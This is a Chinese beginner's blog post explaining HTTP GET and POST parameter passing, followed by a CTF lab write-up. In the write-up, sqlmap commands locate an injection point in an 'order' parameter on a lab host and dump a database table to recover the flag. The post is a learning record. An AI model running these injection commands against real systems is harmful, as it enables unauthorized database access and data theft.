网络安全Web学习记录———CTF---Web---SQL注入(GET和POST传参)例题

news2024/11/17 3:33:36
小白初见,若有问题,希望各位大哥多多指正~

我的第一道web类CTF题——一起来撸猫o(=•ェ•=)m-CSDN博客

最开始学习CTF里的web方向时,每次做了题遇到类似的老是忘记之前的解法,所以写点东西记录一下。听大哥的话,就从最开始的GET传参开始吧!!!(大部分都是只得其法,不得其理。希望以后学了更多后能补充上原理)

一、了解GET和POST出处

寻求度娘知,GET和POST 是 HTTP 协议中两种请求方式,而HTTP协议是一个简单的请求-响应协议(具体详见HTTP_百度百科)

GET和POST 是 HTTP 请求中常用的两种请求方法,它们的底层都是基于 TCP/IP 实现的。但是由于 HTTP 的规定以及浏览器/服务器的限制,导致它们在应用过程中可能会有所不同。

二、了解GET和POST区别

GET和POST是HTTP协议中最常用的两种请求方法,它们在许多方面存在差异。

  1. 使用目的:GET主要用于请求数据,而POST主要用于发送数据。
  2. 参数传递:GET请求的参数会显示在URL地址栏中,这使得参数容易被记录和查看,因此安全性较低。相比之下,POST请求将参数放在请求体中,不会在地址栏中显示,因此安全性更高。
  3. 缓存和历史记录:GET请求可以被浏览器缓存,也会被保存在浏览器的历史记录中。而POST请求则不会被缓存,也不会被保存在浏览器的历史记录中。
  4. 对参数的数据类型:GET只接受ASCII字符作为参数,而POST没有这个限制。
  5. 安全性:由于GET请求的参数直接暴露在URL上,因此它不适合传递敏感信息,例如密码或信用卡信息。相比之下,POST请求更为安全,因为它的参数不会在URL中显示。

总的来说,GET和POST请求在许多方面存在差异,需要根据具体的使用场景来选择合适的请求方法。

参考:

GET和POST的区别以及传参详细解说_post传参-CSDN博客文章浏览阅读1.7w次,点赞10次,收藏72次。文章目录前言一、get和post的区别1、w3school 标准答案2、GET、POST 请求报文上的区别二、传参1.get传参2.post传参传入参数json传入参数data传入参数params总结前言该文章为自己学习及经验总结,里面可能会有不准确的地方,后续会不断的修正文章内容主要针对软件测试人员需要掌握的范围一、get和post的区别1、w3school 标准答案2、GET、POST 请求报文上的区别GET 和 ._post传参https://blog.csdn.net/m0_47801456/article/details/123684379

三、GET的几种传参方式

 

​  <!--//参数传递的几种形式-->
< html xmlns = "http://www.w3.org/1999/xhtml" >

< head >

< meta http-equiv = "Content-Type" content = "text/html; charset=utf-8" />

   < title ></ title >

   < script type = "text/javascript" >

     function Go() {

       window.location.href="localhost:21811/Handler1.ashx?id=1&name='abc'"

     }

   </ script >

</ head >

< body >

​
1、直接在URL后面加参数:
 <!--第一种:直接在URL后面加参数:-->

   localhost:21811/Handler1.ashx?id=1&name="abc"

  

  
2、用超链接的方法传递参数:

当点击超链接的时候,首先会跳转到localhost:21811/Handler1.ashx页面,然后还会传递id 和name 两个参数过去

 <!--第二种:用超链接的方法传递参数:当点击超链接的时候,首先会跳转到localhost:21811/Handler1.ashx页面,然后还会传递id 和name 两个参数过去-->

   < a href = "localhost:21811/Handler1.ashx?id=1&name='abc'" >超链接传递参数</ a ></ body >

  
  3、通过js方法传递:

用户点击这个button按钮,触发onClick事件,执行Go()方法,跳转到localhost:21811/Handler1.ashx页面,同时传递了id,和name两个参数过去

  <!--第三种:通过js方法传递:用户点击这个button按钮,触发onClick事件,执行Go()方法,跳转到localhost:21811/Handler1.ashx页面,同时传递了id,和name两个参数过去-->

   < input type = "button" onclick = "Go()" value = "通过js方法传递参数" />
 4、通过form表单传递:

   < form action = "Handler1.ashx" method = "get" > 注意action里面的连接不能带参数的

   <!--第四种:通过form表单传递-->

   < form action = "Handler1.ashx" method = "get" > <!--注意action里面的连接不能带参数的--> >

     < input type = "text" name = "id" value = "3" />

     < input type = "text" name = "name" value = "abc" />

     < input type = "submit" value = "通过传递参数" />

   </ form >

</ body >

</ html >

CTF——Web例题:

一、题目描述

题目:小试牛刀

二、解题步骤

1、注入点的确定

Step1:利用http://172.16.15.193/stage/9/get_info.php?title=xiaoshiniudao&order=id

这个网址跑sqlmap,提示title不是注入点。

Step2:此题为get传参,参数可以删减猜测注入点为order

 sqlmap -u http://172.16.15.193/stage/9/get_info.php?order=id --dbs

2、爆字段

Step3:数据库为inject_xiaoshiniudao2,爆表,列过程已省略。

查字段:

sqlmap -u http://172.16.15.192/stage/5/get_info.php?order=id -D inject_xiaoshiniudao2 -T key_1 -C thekey --dump

得到key:BFDE779BF1883CA5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1314377.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

架构设计系列之常见架构(二)

五、DDD&#xff08;领域驱动设计&#xff09; 领域驱动设计&#xff08;Domain-Driven Design&#xff0c;DDD&#xff09;是一种开发思想&#xff0c;强调将软件系统的注意力集中在业务领域上&#xff0c;将领域视为应用的核心。在架构设计中&#xff0c;DDD 提供了一种不同…

cgal教程 3D Alpha Wrapping

文章目录 3D Alpha Wrapping (3D alpha 包裹)1 介绍2 方法2.1 算法2.2 保证 3 接口4 选择参数4.1 alpha4.2 Offset4.3 关于“双面”包裹的注意事项 5 性能6 例子 3D Alpha Wrapping (3D alpha 包裹) 原文地址: https://doc.cgal.org/latest/Alpha_wrap_3/index.html#Chapter_3D…

Linux unzip解压多个文件

前情介绍 最近下载了imagenet1k数据集&#xff0c;令人难受的是这里边有很多的zip包&#xff0c;我总不能一个一个解压吧&#xff0c;这就太费时了&#xff0c;有点程序员思维很重要&#xff1a;批量解压。 解决办法 假设当前目录下有多个zip文件 需要 unzip *.zip …

【FunASR】Paraformer语音识别-中文-通用-16k-离线-large-onnx

模型亮点 模型文件: damo/speech_paraformer-large-vad-punc_asr_nat-zh-cn-16k-common-vocab8404-pytorchParaformer-large长音频模型集成VAD、ASR、标点与时间戳功能&#xff0c;可直接对时长为数小时音频进行识别&#xff0c;并输出带标点文字与时间戳&#xff1a; ASR模型…

apt-mark工具介绍(标记或取消标记软件包,防止特定软件包被自动更新或删除)

文章目录 apt-mark工具深度解析1. apt-mark概述1.1 apt-mark定义1.2 apt-mark作用 2. apt-mark常用命令2.1 标记软件包为手动安装2.2 标记软件包为自动安装2.3 阻止软件包更新2.4 允许软件包更新 3. 疑难技术点解析3.1 如何查看软件包的标记状态3.2 如何解决软件包依赖性问题 4…

IDEA新建jdk8 spring boot项目

今天新建spring boot项目发现JDK版本最低可选17。 但是目前用的最多的还是JDK8啊。 解决办法 Server URL中设置&#xff1a; https://start.aliyun.com/设置完成后&#xff0c;又可以愉快的用jdk8创建项目了。 参考 https://blog.csdn.net/imbzz/article/details/13469117…

【C++】POCO学习总结(十七):日志系统(级别、通道、格式化、记录流)

【C】郭老二博文之&#xff1a;C目录 1、Poco::Message 日志消息 1.1 说明 所有日志消息都在Poco::Message对象中存储和传输。 头文件&#xff1a;#include “Poco/Message.h” 一条消息包含如下内容&#xff1a;优先级、来源、一个文本、一个时间戳、进程和线程标识符、可选…

每天五分钟计算机视觉:Inception网络是由多个Inception模块构成

本文重点 inception从另一种角度来提升训练结果:能更高效的利用计算资源,在相同的计算量下能提取到更多的特征,从而提升训练结果。可以简单的理解为Inception 网络是由一个一个的Inception模块构建成的,我们来看一下。 Inception模块 如上就是Inception模块的 通过一个1…

【Android逆向】记录一次某某虚拟机的逆向

导语 学了一段时间的XPosed&#xff0c;发现XPosed真的好强&#xff0c;只要技术强&#xff0c;什么操作都能实现... 这次主要记录一下我对这款应用的逆向思路 apk检查 使用MT管理器检查apk的加壳情况 发现是某数字的免费版本 直接使用frida-dexdump 脱下来后备用 应用分…

【MYSQL】事务隔离级别、脏读、不可重复读、幻读

文章目录 介绍演示脏读不可重复读可重复读幻读 不可重复读和幻读的区别 参考 作者 Guide: 事务隔离级别 美团技术团队&#xff1a; Innodb中的事务隔离级别和锁的关系 介绍 SQL 标准定义了四个隔离级别&#xff1a; READ-UNCOMMITTED(读取未提交) &#xff1a;最低的隔离级别…

虚拟机启动 I/O error in “xfs_read_agi+0x95“

1.在选择系统界面按e 进入维护模式 2.找到ro把ro改成 rw init/sysroot/bin/sh 然后按Ctrlx 3.找到坏掉的分区&#xff0c;以nvme0n1p3为例进行修复 xfs_repair -d /dev/nvme0n1p3 4.init 6 重新启动 以下情况 先umount 再修复 则修复成功

SaaS行业分析

文章目录 什么是SaaS ?SaaS的标准定义什么是软件即服务&#xff1f;SaaS与传统软件的区别 &#xff1f; SaaS行业分析你知道最赚钱的行业是什么&#xff1f;互联网带给企业的变化 SaaS与PaaS、IaaS的区别&#xff1f;IaaS&#xff08;Infrastructure as a Service&#xff09;…

消除非受检警告

在Java中&#xff0c;有一些情况下编译器会生成非受检警告&#xff08;Unchecked Warnings&#xff09;。这些警告通常与泛型、类型转换或原始类型相关。消除这些警告可以提高代码的可读性和安全性。以下是一些常见的非受检警告以及如何消除它们的例子&#xff1a; 1. 泛型类型…

js传递json数据过大的解决方案

protobufjs 使用protobuf&#xff0c;定义如下结构 Person.protobuf syntax "proto3";message Person {string name 1;int32 age 2; }Person.thrift namespace java com.example.Personstruct Person {1: required string name,2: required i32 age }使用bench…

高压电气是什么

高压电气 电工电气百科 文章目录 高压电气前言一、高压电气是什么二、高压电气的类别三、高压电气的作用原理总结前言 高压电气在电力系统中起着重要的作用,它能够将电能有效地输送和分配到各个用户,为社会和工业生产提供稳定可靠的电力供应。然而,高压电气系统也需要注意安…

Jwt令牌过滤器的下发和拦截(创建在前面)

创建Jwt令牌的方法在前面&#xff1a; JWT令牌的作用和生成https://blog.csdn.net/m0_71149935/article/details/135002840?spm1001.2014.3001.5501令牌的下发&#xff1a; 说明&#xff1a; 只用在浏览器访问服务器的时候校验账户信息是否正确&#xff0c;正确就创建Jwt令…

网站服务器/域名/备案到底有什么关联?

​  在一个网站的组成中&#xff0c;网站服务器、域名、备案这几个要素是要被常提到的。在谈及三者关联之前&#xff0c;我们先了解下三者的各自概念。 域名&#xff1a;它是网站的唯一标识符&#xff0c;通俗理解来说就是用户在浏览器地址栏中输入的网址。一般来说&#xff…

Java开发工具积累(符合阿里巴巴手册规范)

文章目录 一、命名规约二、集合篇1. 栈、队列、双端队列2. List的升序倒序3. Map的升序降序4. 二维数组排序5. 集合之间的转换6. Map键值对遍历 三、并发篇1. 创建线程池2. ThreadLocal的使用 四、时间篇1. LocalDateTime的使用2. String、Date、LocalDateTime转换 五、控制块1…

[每周一更]-(第27期):HTTP压测工具之wrk

[补充完善往期内容] wrk是一款简单的HTTP压测工具,托管在Github上,https://github.com/wg/wrkwrk 的一个很好的特性就是能用很少的线程压出很大的并发量. 原因是它使用了一些操作系统特定的高性能 io 机制, 比如 select, epoll, kqueue 等. 其实它是复用了 redis 的 ae 异步事…

最新50万字312道Java经典面试题52道场景题总结(附答案PDF)

最近有很多粉丝问我&#xff0c;有什么方法能够快速提升自己&#xff0c;通过阿里、腾讯、字节跳动、京东等互联网大厂的面试&#xff0c;我觉得短时间提升自己最快的手段就是背面试题&#xff1b;花了3个月的时间将市面上所有的面试题整理总结成了一份50万字的300道Java高频面…